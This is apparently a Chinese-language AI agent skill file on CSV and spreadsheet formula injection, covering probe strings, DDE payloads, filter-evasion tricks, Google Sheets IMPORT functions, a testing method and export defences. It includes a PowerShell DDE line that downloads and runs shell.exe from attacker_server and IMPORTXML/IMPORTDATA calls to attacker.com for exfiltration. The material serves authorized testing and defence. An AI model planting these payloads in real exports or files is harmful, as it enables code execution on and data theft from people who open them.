CSV / 电子表格公式注入(DDE、Excel/LibreOffice、Google Sheets IMPORT* 函数)。适用于导出、导入或用户自定义字段接入电子表格及报表工具的场景。
SKILL:CSV 公式注入
AI 加载指令:本 Skill 涵盖 CSV 及电子表格环境下的公式/DDE 注入、混淆技巧、在线表格基础原语以及安全测试方法学。仅限在获得明确授权的前提下使用;会调用本地命令或发起远程请求的 Payload 具有破坏性——请优先选择实验靶场环境并留存授权凭证。若无明确允许客户端执行测试的项目规则,切勿针对终端用户开展测试。
0. 快速上手
当单元格在 Excel、LibreOffice Calc 或类似软件中被打开时,以下字符可能会触发公式解析与执行(通常前提是该单元格被识别为公式):
=
+
-
@
测试用的单元格内容示例如下:
name,value
test,=1+1
test,+1+1
test,-1+1
test,@SUM(1+1)
测试路由提示:在针对 CSV 导出、后台报表或电子表格打开的用户数据进行测试时,应优先对上述前缀字符进行探测。
1. DDE 注入(EXCEL / LIBREOFFICE)
动态数据交换(DDE)及外部调用模式在电子表格中有着被滥用的历史。以下为仅用于可控实验靶场复现的示例:
DDE("cmd";"/C calc";"!A0")A0
@SUM(1+1)*cmd|' /C calc'!A0
=2+5+cmd|' /C calc'!A0
=cmd|' /C calc'!'A1'
PowerShell 链式调用形式(仅限实验环境;请将主机地址及 Payload 替换为无害的等效内容):
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
2. 混淆绕过
防御性解析器可能会过滤明显的模式;测试人员可尝试插入干扰噪声与空格(同样仅限授权范围内使用):
AAAA+BBBB-CCCC&"Hello"/12345&cmd|'/c calc.exe'!A
= 后添加多余空格:
= cmd|'/c calc.exe'!A
字符分散 / 异常空格间隔(概念性模式——请根据具体的解析器调整):
= C m D |'/c calc.exe'!A
rundll32 风格:
=rundll32|'URL.dll,OpenURL calc.exe'!A
3. GOOGLE SHEETS 在线表格
如果导出的数据随后在 Google Sheets 中打开,或者表格从不可信的 CSV 中拉取数据,以下函数可能会导致外发网络请求或跨文档数据提取:
数据带外提取 / 探测(请将 URL 替换为你已获授权的回调地址):
=IMPORTXML("http://attacker.com/", "//a/@href")
其他高风险导入函数:
=IMPORTRANGE("spreadsheet_url", "range")
=IMPORTHTML("http://attacker.com/table", "table", 1)
=IMPORTFEED("http://attacker.com/feed.xml")
=IMPORTDATA("http://attacker.com/data.csv")
请记录触发执行的函数名称以及由此产生的网络侧效应。
4. 测试方法学
- 梳理输出数据汇(Sink) — 寻找所有能生成 CSV、XLSX 或制表符分隔输出的功能模块:如管理员数据导出、审计日志、用户名册、账单报表、搜索结果等。
- 追踪用户可控字段 — 个人资料字段、工单标题、交易备注、标签、ZIP 导出包中的文件名——即任何会原样回显存储输入的列。
- 注入公式前缀 — 先插入无害算术表达式(如
=1+1、+1+1)探测是否会被解析执行;仅在授权规则许可的前提下进行后续深入。 - 在目标软件中打开验证 — 还原受害者真实的操作流程:Excel 桌面版、LibreOffice、Google Sheets 导入,以及不同区域设置下的小数分隔符差异。
- 留存测试凭证 — 截图并记录单元格是显示了计算结果、弹出了安全警告还是输出了 DDE 提示;同时记录软件的具体版本号。
注意:重点关注 用户输入 -> 数据导出 -> 在电子表格软件中打开 这条完整的调用链路。
5. 防御方案
应用层与数据导出层的防护手段:
- 添加单引号前缀 — 在许多电子表格应用中,开头加上
'会强制将其解析为纯文本:例如'=cmd|...将以字面量形式展示。 - 添加制表符(Tab)前缀 — 若解析管道处理得当,某些工具会将制表符开头的字段视为非公式的纯文本。
- 过滤或转义首字符触发器 — 在导出数据时,移除或转义开头的
=,+,-,@(以及外观相似的 Unicode 变体字符)。 - 规范 CSV 编码规范 — 统一使用适当的引号包裹;校验列数据类型;未经清洗净化切勿将原始公式字符串直接传入财务或报表模板中。
- 安全意识引导 — 明确管理策略,未获策略许可前禁止开启外部数据拉取或 DDE 功能。
安全导出转换示例(概念性):
输入: =1+1
输出: '=1+1 或 \t=1+1 或 依据 RFC 4180 对双引号进行转义的(空前缀)格式
注意:在关联业务导出、报表以及 API 导出参数进行分析时,请结合注入攻击、业务逻辑安全以及 API 安全相关的 Skill 综合研判。






